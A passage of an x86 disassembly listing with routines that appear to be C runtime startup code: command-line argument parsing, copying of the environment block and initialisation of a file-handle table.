		mov	ecx, [ebp+var_14]
		mov	[ebp+var_10], ecx
		lea	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	0
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_431B20
		add	esp, 14h
		push	80h
		push	offset dword_43F3BC
		push	2
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx*4]
		push	ecx
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_431ADE
		push	8
		call	sub_424980
		add	esp, 4


loc_431ADE:				; CODE XREF: sub_431A40+92j
		lea	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+ecx*4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_431B20
		add	esp, 14h
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	dword_4E9208, eax
		mov	ecx, [ebp+var_8]
		mov	dword_4E920C, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_431A40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431B20	proc near		; CODE XREF: sub_431A40+65p
					; sub_431A40+B8p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 1
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		cmp	[ebp+arg_4], 0
		jz	short loc_431B55
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 4
		mov	[ebp+arg_4], edx


loc_431B55:				; CODE XREF: sub_431B20+22j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	loc_431C2D


loc_431B64:				; CODE XREF: sub_431B20:loc_431BEDj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jz	short loc_431BF2
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_431BF2
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		xor	eax, eax
		mov	al, byte_4E97C1[edx]
		and	eax, 4
		test	eax, eax
		jz	short loc_431BC7
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_431BC7
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_431BC7:				; CODE XREF: sub_431B20+76j
					; sub_431B20+89j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_431BED
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_431BED:				; CODE XREF: sub_431B20+B8j
		jmp	loc_431B64
; ---------------------------------------------------------------------------


loc_431BF2:				; CODE XREF: sub_431B20+56j
					; sub_431B20+60j
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_431C14
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx


loc_431C14:				; CODE XREF: sub_431B20+E3j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	short loc_431C28
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_431C28:				; CODE XREF: sub_431B20+FDj
		jmp	loc_431CFC
; ---------------------------------------------------------------------------


loc_431C2D:				; CODE XREF: sub_431B20+3Ej
					; sub_431B20+1B1j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_431C53
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_431C53:				; CODE XREF: sub_431B20+11Ej
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_4E97C1[ecx]
		and	edx, 4
		test	edx, edx
		jz	short loc_431CAB
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_431CA2
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_431CA2:				; CODE XREF: sub_431B20+16Dj
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_431CAB:				; CODE XREF: sub_431B20+15Aj
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		cmp	edx, 20h
		jz	short loc_431CD7
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_431CD7
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		cmp	ecx, 9
		jnz	loc_431C2D


loc_431CD7:				; CODE XREF: sub_431B20+197j
					; sub_431B20+1A3j
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_431CEF
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_431CFC
; ---------------------------------------------------------------------------


loc_431CEF:				; CODE XREF: sub_431B20+1C2j
		cmp	[ebp+arg_8], 0
		jz	short loc_431CFC
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx-1], 0


loc_431CFC:				; CODE XREF: sub_431B20:loc_431C28j
					; sub_431B20+1CDj ...
		mov	[ebp+var_14], 0


loc_431D03:				; CODE XREF: sub_431B20+3F6j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_431D2E


loc_431D0D:				; CODE XREF: sub_431B20+20Cj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_431D23
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jnz	short loc_431D2E


loc_431D23:				; CODE XREF: sub_431B20+1F6j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_431D0D
; ---------------------------------------------------------------------------


loc_431D2E:				; CODE XREF: sub_431B20+1EBj
					; sub_431B20+201j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_431D3D
		jmp	loc_431F1B
; ---------------------------------------------------------------------------


loc_431D3D:				; CODE XREF: sub_431B20+216j
		cmp	[ebp+arg_4], 0
		jz	short loc_431D54
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	[edx], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, 4
		mov	[ebp+arg_4], ecx


loc_431D54:				; CODE XREF: sub_431B20+221j
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_431D61:				; CODE XREF: sub_431B20+3CFj
		mov	[ebp+var_8], 1
		mov	[ebp+var_10], 0


loc_431D6F:				; CODE XREF: sub_431B20+26Cj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 5Ch
		jnz	short loc_431D8E
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		jmp	short loc_431D6F
; ---------------------------------------------------------------------------


loc_431D8E:				; CODE XREF: sub_431B20+258j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	short loc_431DEA
		mov	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 2
		div	ecx
		test	edx, edx
		jnz	short loc_431DE2
		cmp	[ebp+var_14], 0
		jz	short loc_431DCF
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 22h
		jnz	short loc_431DC6
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_431DCD
; ---------------------------------------------------------------------------


loc_431DC6:				; CODE XREF: sub_431B20+299j
		mov	[ebp+var_8], 0


loc_431DCD:				; CODE XREF: sub_431B20+2A4j
		jmp	short loc_431DD6
; ---------------------------------------------------------------------------


loc_431DCF:				; CODE XREF: sub_431B20+28Dj
		mov	[ebp+var_8], 0


loc_431DD6:				; CODE XREF: sub_431B20:loc_431DCDj
		xor	edx, edx
		cmp	[ebp+var_14], 0
		setz	dl
		mov	[ebp+var_14], edx


loc_431DE2:				; CODE XREF: sub_431B20+287j
		mov	eax, [ebp+var_10]
		shr	eax, 1
		mov	[ebp+var_10], eax


loc_431DEA:				; CODE XREF: sub_431B20+277j
					; sub_431B20+2FCj
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx
		test	ecx, ecx
		jz	short loc_431E1E
		cmp	[ebp+arg_8], 0
		jz	short loc_431E0F
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	5Ch
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx


loc_431E0F:				; CODE XREF: sub_431B20+2DEj
		mov	edx, [ebp+arg_10]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		jmp	short loc_431DEA
; ---------------------------------------------------------------------------


loc_431E1E:				; CODE XREF: sub_431B20+2D8j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_431E44
		cmp	[ebp+var_14], 0
		jnz	short loc_431E49
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_431E44
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jnz	short loc_431E49


loc_431E44:				; CODE XREF: sub_431B20+306j
					; sub_431B20+317j
		jmp	loc_431EF4
; ---------------------------------------------------------------------------


loc_431E49:				; CODE XREF: sub_431B20+30Cj
					; sub_431B20+322j
		cmp	[ebp+var_8], 0
		jz	loc_431EE6
		cmp	[ebp+arg_8], 0
		jz	short loc_431EAD
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4E97C1[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_431E98
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx


loc_431E98:				; CODE XREF: sub_431B20+34Dj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		jmp	short loc_431ED9
; ---------------------------------------------------------------------------


loc_431EAD:				; CODE XREF: sub_431B20+337j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4E97C1[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_431ED9
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx


loc_431ED9:				; CODE XREF: sub_431B20+38Bj
					; sub_431B20+3A1j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx


loc_431EE6:				; CODE XREF: sub_431B20+32Dj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	loc_431D61
; ---------------------------------------------------------------------------


loc_431EF4:				; CODE XREF: sub_431B20:loc_431E44j
		cmp	[ebp+arg_8], 0
		jz	short loc_431F09
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx


loc_431F09:				; CODE XREF: sub_431B20+3D8j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		jmp	loc_431D03
; ---------------------------------------------------------------------------


loc_431F1B:				; CODE XREF: sub_431B20+218j
		cmp	[ebp+arg_4], 0
		jz	short loc_431F33
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_4]
		add	ecx, 4
		mov	[ebp+arg_4], ecx


loc_431F33:				; CODE XREF: sub_431B20+3FFj
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	esp, ebp
		pop	ebp
		retn
sub_431B20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431F50	proc near		; CODE XREF: .XComp0:004248CEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_14], 0
		mov	[ebp+var_18], 0
		cmp	dword_4E9404, 0
		jnz	short loc_431FAA
		nop
		call	near ptr 279049Fh
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_431F88
		mov	dword_4E9404, 1
		jmp	short loc_431FAA
; ---------------------------------------------------------------------------


loc_431F88:				; CODE XREF: sub_431F50+2Aj
		nop
		call	near ptr 29F1877h
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_431FA3
		mov	dword_4E9404, 2
		jmp	short loc_431FAA
; ---------------------------------------------------------------------------


loc_431FA3:				; CODE XREF: sub_431F50+45j
		xor	eax, eax
		jmp	loc_432165
; ---------------------------------------------------------------------------


loc_431FAA:				; CODE XREF: sub_431F50+1Bj
					; sub_431F50+36j ...
		cmp	dword_4E9404, 1
		jnz	loc_4320AE
		cmp	[ebp+var_14], 0
		jnz	short loc_431FD3
		nop
		call	near ptr 279049Fh
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_431FD3
		xor	eax, eax
		jmp	loc_432165
; ---------------------------------------------------------------------------


loc_431FD3:				; CODE XREF: sub_431F50+6Bj
					; sub_431F50+7Aj
		mov	eax, [ebp+var_14]
		mov	[ebp+var_8], eax


loc_431FD9:				; CODE XREF: sub_431F50:loc_432003j
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jz	short loc_432005
		mov	eax, [ebp+var_8]
		add	eax, 2
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jnz	short loc_432003
		mov	eax, [ebp+var_8]
		add	eax, 2
		mov	[ebp+var_8], eax


loc_432003:				; CODE XREF: sub_431F50+A8j
		jmp	short loc_431FD9
; ---------------------------------------------------------------------------


loc_432005:				; CODE XREF: sub_431F50+93j
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+var_14]
		sar	ecx, 1
		add	ecx, 1
		mov	[ebp+var_4], ecx
		push	0
		push	0
		push	0
		push	0
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		push	0
		push	0
		nop
		call	near ptr 290039Dh
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_432054
		push	64h
		push	offset dword_43F3C8
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_432065


loc_432054:				; CODE XREF: sub_431F50+E4j
		mov	edx, [ebp+var_14]
		push	edx
		nop
		call	near ptr 29F182Bh
		xor	eax, eax
		jmp	loc_432165
; ---------------------------------------------------------------------------


loc_432065:				; CODE XREF: sub_431F50+102j
		push	0
		push	0
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		push	0
		push	0
		call	near ptr 290039Dh
		nop
		test	eax, eax
		jnz	short loc_43209C
		push	2
		mov	ecx, [ebp+var_18]
		push	ecx
		call	sub_41F970
		add	esp, 8
		mov	[ebp+var_18], 0


loc_43209C:				; CODE XREF: sub_431F50+135j
		mov	edx, [ebp+var_14]
		push	edx
		call	near ptr 29F182Bh
		nop
		mov	eax, [ebp+var_18]
		jmp	loc_432165
; ---------------------------------------------------------------------------


loc_4320AE:				; CODE XREF: sub_431F50+61j
		cmp	dword_4E9404, 2
		jnz	loc_432163
		cmp	[ebp+var_18], 0
		jnz	short loc_4320D7
		nop
		call	near ptr 29F1877h
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_4320D7
		xor	eax, eax
		jmp	loc_432165
; ---------------------------------------------------------------------------


loc_4320D7:				; CODE XREF: sub_431F50+16Fj
					; sub_431F50+17Ej
		mov	eax, [ebp+var_18]
		mov	[ebp+var_C], eax


loc_4320DD:				; CODE XREF: sub_431F50:loc_432103j
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_432105
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_432103
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_432103:				; CODE XREF: sub_431F50+1A8j
		jmp	short loc_4320DD
; ---------------------------------------------------------------------------


loc_432105:				; CODE XREF: sub_431F50+195j
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		push	8Fh
		push	offset dword_43F3C8
		push	2
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_432140
		mov	eax, [ebp+var_18]
		push	eax
		nop
		call	near ptr 29F166Ah
		xor	eax, eax
		jmp	short loc_432165
; ---------------------------------------------------------------------------


loc_432140:				; CODE XREF: sub_431F50+1E0j
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	ecx, [ebp+var_18]
		push	ecx
		nop
		call	near ptr 29F166Ah
		mov	eax, [ebp+var_C]
		jmp	short loc_432165
; ---------------------------------------------------------------------------


loc_432163:				; CODE XREF: sub_431F50+165j
		xor	eax, eax


loc_432165:				; CODE XREF: sub_431F50+55j
					; sub_431F50+7Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_431F50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432170	proc near		; CODE XREF: .XComp0:004248BEp

var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_16		= dword	ptr -16h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 6Ch
		push	81h
		push	offset dword_43F3D0
		push	2
		push	480h
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jnz	short loc_4321A2
		push	1Bh
		call	sub_424980
		add	esp, 4


loc_4321A2:				; CODE XREF: sub_432170+26j
		mov	eax, [ebp+var_50]
		mov	dword_4E95A0, eax
		mov	dword_4E96A0, 20h
		jmp	short loc_4321BF
; ---------------------------------------------------------------------------


loc_4321B6:				; CODE XREF: sub_432170+81j
		mov	ecx, [ebp+var_50]
		add	ecx, 24h
		mov	[ebp+var_50], ecx


loc_4321BF:				; CODE XREF: sub_432170+44j
		mov	edx, dword_4E95A0
		add	edx, 480h
		cmp	[ebp+var_50], edx
		jnb	short loc_4321F3
		mov	eax, [ebp+var_50]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+var_50]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp+var_50]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp+var_50]
		mov	dword ptr [eax+8], 0
		jmp	short loc_4321B6
; ---------------------------------------------------------------------------


loc_4321F3:				; CODE XREF: sub_432170+5Ej
		lea	ecx, [ebp+var_48]
		push	ecx
		call	near ptr 2960000h
		nop
		mov	edx, [ebp+var_16]
		and	edx, 0FFFFh
		test	edx, edx
		jz	loc_432395
		cmp	[ebp+var_16+2],	0
		jz	loc_432395
		mov	eax, [ebp+var_16+2]
		mov	ecx, [eax]
		mov	[ebp+var_64], ecx
		mov	edx, [ebp+var_16+2]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_64]
		mov	[ebp+var_60], eax
		cmp	[ebp+var_64], 800h
		jge	short loc_432243
		mov	ecx, [ebp+var_64]
		mov	[ebp+var_68], ecx
		jmp	short loc_43224A
; ---------------------------------------------------------------------------


loc_432243:				; CODE XREF: sub_432170+C9j
		mov	[ebp+var_68], 800h


loc_43224A:				; CODE XREF: sub_432170+D1j
		mov	edx, [ebp+var_68]
		mov	[ebp+var_64], edx
		mov	[ebp+var_5C], 1
		jmp	short loc_432262
; ---------------------------------------------------------------------------


loc_432259:				; CODE XREF: sub_432170:loc_4322FDj
		mov	eax, [ebp+var_5C]
		add	eax, 1
		mov	[ebp+var_5C], eax


loc_432262:				; CODE XREF: sub_432170+E7j
		mov	ecx, dword_4E96A0
		cmp	ecx, [ebp+var_64]
		jge	loc_432302
		push	0B6h
		push	offset dword_43F3D0
		push	2
		push	480h
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jnz	short loc_43229E
		mov	edx, dword_4E96A0
		mov	[ebp+var_64], edx
		jmp	short loc_432302
; ---------------------------------------------------------------------------


loc_43229E:				; CODE XREF: sub_432170+121j
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_50]
		mov	dword_4E95A0[eax*4], ecx
		mov	edx, dword_4E96A0
		add	edx, 20h
		mov	dword_4E96A0, edx
		jmp	short loc_4322C5
; ---------------------------------------------------------------------------


loc_4322BC:				; CODE XREF: sub_432170+18Bj
		mov	eax, [ebp+var_50]
		add	eax, 24h
		mov	[ebp+var_50], eax


loc_4322C5:				; CODE XREF: sub_432170+14Aj
		mov	ecx, [ebp+var_5C]
		mov	edx, dword_4E95A0[ecx*4]
		add	edx, 480h
		cmp	[ebp+var_50], edx
		jnb	short loc_4322FD
		mov	eax, [ebp+var_50]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+var_50]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp+var_50]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp+var_50]
		mov	dword ptr [eax+8], 0
		jmp	short loc_4322BC
; ---------------------------------------------------------------------------


loc_4322FD:				; CODE XREF: sub_432170+168j
		jmp	loc_432259
; ---------------------------------------------------------------------------


loc_432302:				; CODE XREF: sub_432170+FBj
					; sub_432170+12Cj
		mov	[ebp+var_58], 0
		jmp	short loc_432326
; ---------------------------------------------------------------------------


loc_43230B:				; CODE XREF: sub_432170:loc_432390j
		mov	ecx, [ebp+var_58]
		add	ecx, 1
		mov	[ebp+var_58], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_60]
		add	eax, 4
		mov	[ebp+var_60], eax


loc_432326:				; CODE XREF: sub_432170+199j
		mov	ecx, [ebp+var_58]
		cmp	ecx, [ebp+var_64]
		jge	short loc_432395
		mov	edx, [ebp+var_60]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jz	short loc_432390
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_432390
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		and	eax, 8
		test	eax, eax
		jnz	short loc_432360
		mov	ecx, [ebp+var_60]
		mov	edx, [ecx]
		push	edx
		call	near ptr 2790000h
		nop
		test	eax, eax
		jz	short loc_432390


loc_432360:				; CODE XREF: sub_432170+1DEj
		mov	eax, [ebp+var_58]
		sar	eax, 5
		mov	ecx, [ebp+var_58]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		add	edx, ecx
		mov	[ebp+var_50], edx
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+var_60]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax+4], dl


loc_432390:				; CODE XREF: sub_432170+1C4j
					; sub_432170+1D1j ...
		jmp	loc_43230B
; ---------------------------------------------------------------------------


loc_432395:				; CODE XREF: sub_432170+98j
					; sub_432170+A2j ...
		mov	[ebp+var_58], 0
		jmp	short loc_4323A7
; ---------------------------------------------------------------------------


loc_43239E:				; CODE XREF: sub_432170:loc_43247Fj
		mov	eax, [ebp+var_58]
		add	eax, 1
		mov	[ebp+var_58], eax


loc_4323A7:				; CODE XREF: sub_432170+22Cj
		cmp	[ebp+var_58], 3
		jge	loc_432484
		mov	ecx, [ebp+var_58]
		imul	ecx, 24h
		mov	edx, dword_4E95A0
		add	edx, ecx
		mov	[ebp+var_50], edx
		mov	eax, [ebp+var_50]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_432470
		mov	ecx, [ebp+var_50]
		mov	byte ptr [ecx+4], 81h
		cmp	[ebp+var_58], 0
		jnz	short loc_4323E4
		mov	[ebp+var_6C], 0FFFFFFF6h
		jmp	short loc_4323F4
; ---------------------------------------------------------------------------


loc_4323E4:				; CODE XREF: sub_432170+269j
		mov	edx, [ebp+var_58]
		sub	edx, 1
		neg	edx
		sbb	edx, edx
		add	edx, 0FFFFFFF5h
		mov	[ebp+var_6C], edx


loc_4323F4:				; CODE XREF: sub_432170+272j
		mov	eax, [ebp+var_6C]
		push	eax
		nop
		call	near ptr 2960BBFh
		mov	[ebp+var_4C], eax
		cmp	[ebp+var_4C], 0FFFFFFFFh
		jz	short loc_43245F
		mov	ecx, [ebp+var_4C]
		push	ecx
		nop
		call	near ptr 2790000h
		mov	[ebp+var_54], eax
		cmp	[ebp+var_54], 0
		jz	short loc_43245F
		mov	edx, [ebp+var_50]
		mov	eax, [ebp+var_4C]
		mov	[edx], eax
		mov	ecx, [ebp+var_54]
		and	ecx, 0FFh
		cmp	ecx, 2
		jnz	short loc_432440
		mov	edx, [ebp+var_50]
		mov	al, [edx+4]
		or	al, 40h
		mov	ecx, [ebp+var_50]
		mov	[ecx+4], al
		jmp	short loc_43245D
; ---------------------------------------------------------------------------


loc_432440:				; CODE XREF: sub_432170+2BEj
		mov	edx, [ebp+var_54]
		and	edx, 0FFh
		cmp	edx, 3
		jnz	short loc_43245D
		mov	eax, [ebp+var_50]
		mov	cl, [eax+4]
		or	cl, 8
